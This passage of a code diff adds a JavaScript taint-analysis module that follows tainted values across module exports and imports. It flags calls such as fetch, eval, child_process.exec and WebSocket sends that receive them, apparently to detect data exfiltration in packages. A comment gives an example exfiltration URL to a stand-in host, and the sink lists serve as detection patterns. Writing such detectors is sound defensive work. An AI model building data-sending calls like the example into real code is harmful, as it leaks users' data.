+ if (!isModuleExportsAssign(node)) return;
443
+ const value = node.expression.right;
444
+ const exportName = getExportName(node.expression.left);
445
+
446
+ // Direct re-export: module.exports = taintedVar
447
+ if (value.type === 'Identifier' && localTaint[value.name]) {
448
+ if (!expanded[relFile][exportName]) {
449
+ expanded[relFile][exportName] = {
450
+ tainted: true,
451
+ source: localTaint[value.name].source,
452
+ detail: localTaint[value.name].detail,
453
+ sourceFile: localTaint[value.name].sourceFile,
454
+ };
455
+ changed = true;
456
+ }
457
+ return;
458
+ }
459
+
460
+ // Inline re-export: module.exports = require('./x')
461
+ if (isRequireCall(value) && isLocalImport(value.arguments[0].value)) {
462
+ const spec = value.arguments[0].value;
463
+ const resolved = resolveLocal(fileDir, spec, packagePath);
464
+ if (resolved && expanded[resolved]) {
465
+ const defTaint = expanded[resolved]['default'];
466
+ if (defTaint && defTaint.tainted && !expanded[relFile][exportName]) {
467
+ expanded[relFile][exportName] = {
468
+ tainted: true,
469
+ source: defTaint.source,
470
+ detail: defTaint.detail,
471
+ sourceFile: defTaint.sourceFile || resolved,
472
+ };
473
+ changed = true;
474
+ }
475
+ }
476
+ return;
477
+ }
478
+
479
+ // Wrapped re-export: module.exports = fn(taintedVar)
480
+ if (value.type === 'CallExpression') {
481
+ const tArg = findFirstTaintedArg(value.arguments, localTaint);
482
+ if (tArg && !expanded[relFile][exportName]) {
483
+ expanded[relFile][exportName] = {
484
+ tainted: true,
485
+ source: localTaint[tArg].source,
486
+ detail: localTaint[tArg].detail,
487
+ sourceFile: localTaint[tArg].sourceFile,
488
+ };
489
+ changed = true;
490
+ }
491
+ }
492
+ });
493
+ }
494
+ if (!changed) break;
495
+ }
496
+
497
+ return expanded;
498
+ }
499
+
500
+ /**
501
+ * Propagate taint through local variable assignments.
502
+ * If `const x = fn(taintedVar)`, then x is also tainted.
503
+ */
504
+ function propagateLocalTaint(ast, localTaint) {
505
+ walkAST(ast, (node) => {
506
+ if (node.type !== 'VariableDeclaration') return;
507
+ for (const decl of node.declarations) {
508
+ if (!decl.init || !decl.id || decl.id.type !== 'Identifier') continue;
509
+ if (localTaint[decl.id.name]) continue; // already tainted
510
+ const tArg = findFirstTaintedArgInExpr(decl.init, localTaint);
511
+ if (tArg) {
512
+ localTaint[decl.id.name] = { ...localTaint[tArg] };
513
+ }
514
+ }
515
+ });
516
+ }
517
+
518
+ /**
519
+ * Find the first tainted identifier among function call arguments.
520
+ */
521
+ function findFirstTaintedArg(args, taintMap) {
522
+ if (!args) return null;
523
+ for (const arg of args) {
524
+ if (arg.type === 'Identifier' && taintMap[arg.name] && !arg.name.startsWith('__module__')) {
525
+ return arg.name;
526
+ }
527
+ }
528
+ return null;
529
+ }
530
+
531
+ /**
532
+ * Recursively check if an expression uses a tainted variable as argument.
533
+ * Handles: fn(tainted), fn(a, fn2(tainted)), fn(tainted).method()
534
+ */
535
+ function findFirstTaintedArgInExpr(node, taintMap) {
536
+ if (!node) return null;
537
+ if (node.type === 'Identifier' && taintMap[node.name] && !node.name.startsWith('__module__')) {
538
+ return node.name;
539
+ }
540
+ if (node.type === 'CallExpression') {
541
+ const fromArgs = findFirstTaintedArg(node.arguments, taintMap);
542
+ if (fromArgs) return fromArgs;
543
+ // Check callee for chained calls: fn(x).method()
544
+ return findFirstTaintedArgInExpr(node.callee, taintMap);
545
+ }
546
+ if (node.type === 'MemberExpression') {
547
+ return findFirstTaintedArgInExpr(node.object, taintMap);
548
+ }
549
+ return null;
550
+ }
551
+
552
+ /**
553
+ * For a given file's AST, find which local variables receive tainted values
554
+ * via require('./...') imports.
555
+ */
556
+ function collectImportTaint(ast, currentFile, graph, taintedExports, packagePath) {
557
+ const localTaint = {};
558
+ const fileDir = path.dirname(path.resolve(packagePath, currentFile));
559
+
560
+ walkAST(ast, (node) => {
561
+ if (node.type !== 'VariableDeclaration') return;
562
+ for (const decl of node.declarations) {
563
+ if (!decl.init || !decl.id) continue;
564
+
565
+ // const reader = require('./reader')
566
+ if (isRequireCall(decl.init) && isLocalImport(decl.init.arguments[0].value)) {
567
+ const spec = decl.init.arguments[0].value;
568
+ const resolved = resolveLocal(fileDir, spec, packagePath);
569
+ if (!resolved || !taintedExports[resolved]) continue;
570
+ const modTaint = taintedExports[resolved];
571
+
572
+ if (decl.id.type === 'Identifier') {
573
+ // Whole module import — check 'default' export
574
+ const defTaint = modTaint['default'];
575
+ if (defTaint && defTaint.tainted) {
576
+ localTaint[decl.id.name] = {
577
+ source: defTaint.source,
578
+ detail: defTaint.detail || '',
579
+ sourceFile: defTaint.sourceFile || resolved,
580
+ };
581
+ }
582
+ // Also mark any named-export access later via member expressions
583
+ // Store the module reference for named export resolution
584
+ localTaint['__module__' + decl.id.name] = { resolved, modTaint };
585
+ }
586
+
587
+ // const { getToken } = require('./utils')
588
+ if (decl.id.type === 'ObjectPattern') {
589
+ for (const prop of decl.id.properties) {
590
+ const key = prop.key && (prop.key.name || prop.key.value);
591
+ const localName = prop.value && prop.value.name;
592
+ if (key && localName && modTaint[key] && modTaint[key].tainted) {
593
+ localTaint[localName] = {
594
+ source: modTaint[key].source,
595
+ detail: modTaint[key].detail || '',
596
+ sourceFile: modTaint[key].sourceFile || resolved,
597
+ };
598
+ }
599
+ }
600
+ }
601
+ }
602
+ }
603
+ });
604
+
605
+ // Resolve member access, class instances, and method calls
606
+ walkAST(ast, (node) => {
607
+ if (node.type !== 'VariableDeclaration') return;
608
+ for (const decl of node.declarations) {
609
+ if (!decl.init || !decl.id || decl.id.type !== 'Identifier') continue;
610
+
611
+ // const c = new Collector() — propagate module ref to instance
612
+ if (decl.init.type === 'NewExpression' && decl.init.callee.type === 'Identifier') {
613
+ const modRef = localTaint['__module__' + decl.init.callee.name];
614
+ if (modRef) {
615
+ localTaint['__module__' + decl.id.name] = modRef;
616
+ }
617
+ }
618
+
619
+ // const data = reader.getData() or const data = reader.data
620
+ if (decl.init.type === 'MemberExpression' && decl.init.object.type === 'Identifier') {
621
+ const modRef = localTaint['__module__' + decl.init.object.name];
622
+ if (modRef) {
623
+ const propName = decl.init.property.name || decl.init.property.value;
624
+ if (modRef.modTaint[propName] && modRef.modTaint[propName].tainted) {
625
+ const t = modRef.modTaint[propName];
626
+ localTaint[decl.id.name] = {
627
+ source: t.source,
628
+ detail: t.detail || '',
629
+ sourceFile: t.sourceFile || modRef.resolved,
630
+ };
631
+ }
632
+ }
633
+ }
634
+ if (decl.init.type === 'CallExpression' && decl.init.callee.type === 'MemberExpression') {
635
+ const callee = decl.init.callee;
636
+ if (callee.object.type === 'Identifier') {
637
+ const modRef = localTaint['__module__' + callee.object.name];
638
+ if (modRef) {
639
+ const propName = callee.property.name || callee.property.value;
640
+ if (modRef.modTaint[propName] && modRef.modTaint[propName].tainted) {
641
+ const t = modRef.modTaint[propName];
642
+ localTaint[decl.id.name] = {
643
+ source: t.source,
644
+ detail: t.detail || '',
645
+ sourceFile: t.sourceFile || modRef.resolved,
646
+ };
647
+ }
648
+ }
649
+ }
650
+ }
651
+ }
652
+ });
653
+
654
+ // Clean up internal markers
655
+ for (const key of Object.keys(localTaint)) {
656
+ if (key.startsWith('__module__')) delete localTaint[key];
657
+ }
658
+
659
+ return localTaint;
660
+ }
661
+
662
+ /**
663
+ * Find sink calls in the AST that use a tainted variable as argument.
664
+ */
665
+ function findSinksUsingTainted(ast, localTaint) {
666
+ const taintedNames = new Set(Object.keys(localTaint));
667
+ const sinks = [];
668
+
669
+ walkAST(ast, (node) => {
670
+ if (node.type !== 'CallExpression') return;
671
+
672
+ const sinkName = getSinkName(node);
673
+ if (!sinkName) return;
674
+
675
+ // Check if any argument references a tainted variable
676
+ const taintedArg = findTaintedArgument(node.arguments, taintedNames);
677
+ if (taintedArg) {
678
+ sinks.push({ sink: sinkName, taintedVar: taintedArg });
679
+ }
680
+ });
681
+
682
+ return sinks;
683
+ }
684
+
685
+ function getSinkName(callNode) {
686
+ const callee = callNode.callee;
687
+
688
+ // fetch(url), eval(code), WebSocket(url)
689
+ if (callee.type === 'Identifier' && SINK_CALLEE_NAMES.has(callee.name)) {
690
+ return `${callee.name}()`;
691
+ }
692
+
693
+ // https.request(...), child_process.exec(...)
694
+ if (callee.type === 'MemberExpression') {
695
+ const chain = getMemberChain(callee);
696
+ if (SINK_MEMBER_METHODS.has(chain)) {
697
+ return `${chain}()`;
698
+ }
699
+ // instance.connect(), socket.write(), ws.send()
700
+ const method = callee.property.name || callee.property.value;
701
+ if (SINK_INSTANCE_METHODS.has(method)) {
702
+ return `${method}()`;
703
+ }
704
+ }
705
+
706
+ // new WebSocket(url), new XMLHttpRequest()
707
+ if (callNode.type === 'NewExpression') {
708
+ if (callee.type === 'Identifier' && (callee.name === 'WebSocket' || callee.name === 'XMLHttpRequest')) {
709
+ return `new ${callee.name}()`;
710
+ }
711
+ }
712
+
713
+ return null;
714
+ }
715
+
716
+ function findTaintedArgument(args, taintedNames) {
717
+ if (!args) return null;
718
+ for (const arg of args) {
719
+ if (arg.type === 'Identifier' && taintedNames.has(arg.name)) {
720
+ return arg.name;
721
+ }
722
+ // Template literal: `https://evil.com/?d=${data}`
723
+ if (arg.type === 'TemplateLiteral') {
724
+ for (const expr of arg.expressions) {
725
+ if (expr.type === 'Identifier' && taintedNames.has(expr.name)) {
726
+ return expr.name;
727
+ }
728
+ }
729
+ }
730
+ // Concatenation: 'url' + data
731
+ if (arg.type === 'BinaryExpression' && arg.operator === '+') {
732
+ const left = findTaintedInExpr(arg.left, taintedNames);
733
+ if (left) return left;
734
+ const right = findTaintedInExpr(arg.right, taintedNames);
735
+ if (right) return right;
736
+ }
737
+ // Object: { body: data }
738
+ if (arg.type === 'ObjectExpression') {
739
+ for (const prop of arg.properties) {
740
+ if (prop.value && prop.value.type === 'Identifier' && taintedNames.has(prop.value.name)) {
741
+ return prop.value.name;
742
+ }
743
+ }
744
+ }
745
+ }
746
+ return null;
747
+ }
748
+
749
+ function findTaintedInExpr(node, taintedNames) {
750
+ if (node.type === 'Identifier' && taintedNames.has(node.name)) return node.name;
751
+ if (node.type === 'BinaryExpression' && node.operator === '+') {
752
+ return findTaintedInExpr(node.left, taintedNames) || findTaintedInExpr(node.right, taintedNames);
753
+ }
754
+ return null;
755
+ }
756
+
757
+ // =============================================================================
758
+ // Shared helpers
759
+ // =============================================================================
760
+
761
+ function parseFile(filePath) {
762
+ let content;
763
+ try {
764
+ content = fs.readFileSync(filePath, 'utf8');
765
+ } catch {
766
+ return null;
767
+ }
768
+ try {
769
+ return acorn.parse(content, ACORN_OPTIONS);
770
+ } catch {
771
+ return null;
772
+ }
773
+ }
774
+
775
+ function walkAST(node, visitor) {
776
+ if (!node || typeof node !== 'object') return;
777
+ if (node.type) visitor(node);
778
+ for (const key of Object.keys(node)) {
779
+ if (key === 'type') continue;
780
+ const child = node[key];
781
+ if (Array.isArray(child)) {
782
+ for (const item of child) {
783
+ if (item && typeof item === 'object' && item.type) walkAST(item, visitor);
784
+ }
785
+ } else if (child && typeof child === 'object' && child.type) {
786
+ walkAST(child, visitor);
787
+ }
788
+ }
789
+ }
790
+
791
+ function isRequireCall(node) {
792
+ return (
793
+ node && node.type === 'CallExpression' &&
794
+ node.callee && node.callee.type === 'Identifier' &&
795
+ node.callee.name === 'require' &&
796
+ node.arguments.length === 1 &&
797
+ node.arguments[0].type === 'Literal' &&
798
+ typeof node.arguments[0].value === 'string'
799
+ );
800
+ }
801
+
802
+ function isLocalImport(spec) {
803
+ return spec.startsWith('./') || spec.startsWith('../');
804
+ }
805
+
806
+ function isModuleExportsAssign(node) {
807
+ if (node.type !== 'ExpressionStatement') return false;
808
+ const expr = node.expression;
809
+ if (expr.type !== 'AssignmentExpression' || expr.operator !== '=') return false;
810
+ const left = expr.left;
811
+ // module.exports = ...
812
+ if (left.type === 'MemberExpression' && left.object.type === 'Identifier' && left.object.name === 'module' &&
813
+ left.property.name === 'exports') return true;
814
+ // module.exports.foo = ...
815
+ if (left.type === 'MemberExpression' && left.object.type === 'MemberExpression' &&
816
+ left.object.object.type === 'Identifier' && left.object.object.name === 'module' &&
817
+ left.object.property.name === 'exports') return true;
818
+ // exports.foo = ...
819
+ if (left.type === 'MemberExpression' && left.object.type === 'Identifier' && left.object.name === 'exports') return true;
820
+ return false;
821
+ }
822
+
823
+ function getExportName(left) {
824
+ // module.exports = ... → 'default'
825
+ if (left.type === 'MemberExpression' && left.object.type === 'Identifier' && left.object.name === 'module') {
826
+ if (left.property.name === 'exports') return 'default';
827
+ }
828
+ // module.exports.foo = ... → 'foo'
829
+ if (left.type === 'MemberExpression' && left.object.type === 'MemberExpression') {
830
+ return left.property.name || left.property.value || 'default';
831
+ }
832
+ // exports.foo = ... → 'foo'
833
+ if (left.type === 'MemberExpression' && left.object.type === 'Identifier' && left.object.name === 'exports') {
834
+ return left.property.name || left.property.value || 'default';
835
+ }
836
+ return 'default';
837
+ }
838
+
839
+ function getFunctionBody(node) {
840
+ if (!node) return null;
841
+ if (node.type === 'FunctionExpression' || node.type === 'ArrowFunctionExpression') {
842
+ if (node.body.type === 'BlockStatement') return node.body.body;
843
+ // Arrow with expression body: () => expr
844
+ return [{ type: 'ReturnStatement', argument: node.body }];
845
+ }
846
+ return null;
847
+ }
848
+
849
+ function getMemberChain(node) {
850
+ if (node.type === 'Identifier') return node.name;
851
+ if (node.type === 'MemberExpression') {
852
+ const obj = getMemberChain(node.object);
853
+ const prop = node.property.name || node.property.value || '';
854
+ return `${obj}.${prop}`;
855
+ }
856
+ return '';
857
+ }
858
+
859
+ function extractLiteralArg(args) {
860
+ if (!args || args.length === 0) return '';
861
+ const first = args[0];
862
+ if (first.type === 'Literal' && typeof first.value === 'string') return first.value;
863
+ if (first.type === 'TemplateLiteral' && first.quasis.length === 1) return first.quasis[0].value.raw;
864
+ return '';
865
+ }
866
+
867
+ function resolveLocal(fileDir, spec, packagePath) {
868
+ const abs = path.resolve(fileDir, spec);
869
+ if (isFileExists(abs)) return toRel(abs, packagePath);
870
+ if (isFileExists(abs + '.js')) return toRel(abs + '.js', packagePath);
871
+ if (isFileExists(path.join(abs, 'index.js'))) return toRel(path.join(abs, 'index.js'), packagePath);
872
+ return null;
873
+ }
874
+
875
+ function isFileExists(p) {
876
+ try { return fs.statSync(p).isFile(); } catch { return false; }
877
+ }
878
+
879
+ function toRel(abs, packagePath) {
880
+ return path.relative(packagePath, abs).replace(/\\/g, '/');
881
+ }
882
+
883
+ module.exports = { buildModuleGraph, annotateTaintedExports, detectCrossFileFlows };